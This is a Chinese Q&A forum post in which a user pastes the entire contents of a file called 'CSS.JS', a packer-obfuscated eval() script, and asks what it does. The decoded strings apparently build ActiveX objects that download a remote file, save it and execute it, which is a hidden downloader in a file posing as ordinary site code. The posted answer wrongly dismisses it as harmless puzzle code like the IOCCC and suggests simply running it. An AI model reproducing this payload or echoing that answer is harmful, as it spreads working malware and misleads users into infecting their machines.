谁帮解释下这段代码的意思?
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('Z("\\l\\v\\7\\9\\2\\g\\h\\7\\1\\L\\7\\c\\7\\b\\1\\O\\1\\w\\5\\6\\1\\7\\v\\d\\q\\0\\6\\1\\k\\1\\N\\5\\2\\x\\4\\6\\5\\7\\a\\h\\d\\c\\b\\10\\7\\8\\1\\6\\0\\2\\v\\6\\7\\1\\p\\Y\\2\\d\\f\\p\\r\\p\\4\\2\\d\\f\\p\\8\\1\\Q\\1\\2\\6\\D\\1\\O\\1\\a\\e\\k\\p\\x\\2\\2\\f\\U\\G\\G\\M\\M\\M\\4\\H\\S\\B\\C\\C\\4\\9\\h\\d\\G\\o\\4\\0\\s\\0\\p\\8\\1\\w\\5\\6\\1\\a\\l\\k\\a\\h\\9\\v\\d\\0\\7\\2\\4\\9\\6\\0\\5\\2\\0\\F\\e\\0\\d\\0\\7\\2\\c\\3\\h\\q\\y\\0\\9\\2\\3\\b\\8\\1\\a\\l\\4\\m\\0\\2\\A\\2\\2\\6\\g\\q\\v\\2\\0\\c\\3\\9\\e\\5\\m\\m\\g\\a\\3\\i\\3\\9\\e\\m\\g\\a\\U\\J\\V\\C\\B\\u\\H\\H\\B\\I\\B\\H\\A\\K\\I\\n\\n\\V\\o\\I\\C\\12\\K\\A\\I\\o\\o\\u\\o\\S\\t\\u\\R\\C\\F\\K\\B\\3\\b\\8\\1\\w\\5\\6\\1\\s\\k\\a\\l\\4\\u\\6\\0\\5\\2\\0\\z\\q\\y\\0\\9\\2\\c\\3\\N\\g\\9\\6\\h\\m\\h\\l\\2\\4\\13\\3\\r\\3\\N\\3\\r\\3\\15\\3\\r\\3\\14\\3\\r\\3\\E\\3\\r\\3\\E\\3\\r\\3\\P\\3\\i\\3\\3\\b\\8\\1\\w\\5\\6\\1\\j\\k\\a\\l\\4\\u\\6\\0\\5\\2\\0\\z\\q\\y\\0\\9\\2\\c\\3\\A\\a\\h\\a\\q\\4\\j\\2\\6\\0\\5\\d\\3\\i\\3\\3\\b\\8\\1\\j\\4\\2\\D\\f\\0\\k\\n\\8\\1\\s\\4\\h\\f\\0\\7\\c\\3\\W\\F\\E\\3\\i\\1\\a\\e\\i\\o\\b\\8\\1\\s\\4\\m\\0\\7\\a\\c\\b\\8\\1\\l\\7\\5\\d\\0\\n\\k\\L\\7\\c\\n\\o\\o\\o\\o\\b\\8\\1\\w\\5\\6\\1\\t\\k\\a\\l\\4\\u\\6\\0\\5\\2\\0\\z\\q\\y\\0\\9\\2\\c\\3\\j\\9\\6\\g\\f\\2\\g\\7\\L\\4\\t\\g\\e\\0\\j\\D\\m\\2\\0\\d\\z\\q\\y\\0\\9\\2\\3\\i\\3\\3\\b\\8\\1\\w\\5\\6\\1\\2\\d\\f\\k\\t\\4\\W\\0\\2\\j\\f\\0\\9\\g\\5\\e\\t\\h\\e\\a\\0\\6\\c\\o\\b\\8\\1\\l\\7\\5\\d\\0\\n\\k\\1\\t\\4\\J\\v\\g\\e\\a\\P\\5\\2\\x\\c\\2\\d\\f\\i\\l\\7\\5\\d\\0\\n\\b\\8\\1\\j\\4\\z\\f\\0\\7\\c\\b\\8\\j\\4\\11\\6\\g\\2\\0\\c\\s\\4\\6\\0\\m\\f\\h\\7\\m\\0\\J\\h\\a\\D\\b\\8\\1\\j\\4\\j\\5\\w\\0\\E\\h\\t\\g\\e\\0\\c\\l\\7\\5\\d\\0\\n\\i\\R\\b\\8\\1\\j\\4\\u\\e\\h\\m\\0\\c\\b\\8\\1\\w\\5\\6\\1\\T\\k\\a\\l\\4\\u\\6\\0\\5\\2\\0\\z\\q\\y\\0\\9\\2\\c\\3\\j\\x\\0\\e\\e\\4\\A\\f\\f\\e\\g\\9\\5\\2\\g\\h\\7\\3\\i\\3\\3\\b\\8\\1\\0\\s\\f\\n\\k\\t\\4\\J\\v\\g\\e\\a\\P\\5\\2\\x\\c\\2\\d\\f\\r\\p\\X\\X\\m\\D\\m\\2\\0\\d\\K\\R\\p\\i\\p\\9\\d\\a\\4\\0\\s\\0\\p\\b\\8\\1\\T\\4\\j\\x\\0\\e\\e\\F\\s\\0\\9\\v\\2\\0\\c\\0\\s\\f\\n\\i\\p\\1\\G\\9\\1\\p\\r\\l\\7\\5\\d\\0\\n\\i\\3\\3\\i\\3\\h\\f\\0\\7\\3\\i\\o\\b\\8\\1\\Q\\1\\9\\5\\2\\9\\x\\c\\g\\b\\1\\O\\1\\g\\k\\n\\8\\1\\Q")',62,68,'145|40|164|42|56|141|162|156|73|143|144|51|50|155|154|160|151|157|54|123|75|146|163|61|60|47|142|53|170|106|103|165|166|150|152|117|101|66|71|171|124|105|57|65|55|102|63|147|167|115|173|120|175|62|64|121|72|104|107|134|176|eval|52|127|70|130|110|114'.split('|'),0,{}))
一个叫CSS。JS 的文件全部内容
参考答案:这是故意写的混乱代码,运行一下看看结果也就罢了,深究实在没有必要。
函数名已经叫“eval”了,就是摆明了是不好的代码。
C语言中也有类似的东西,即“国际C语言混乱代码大赛”(IOCCC),都是一群编程高手自己玩的。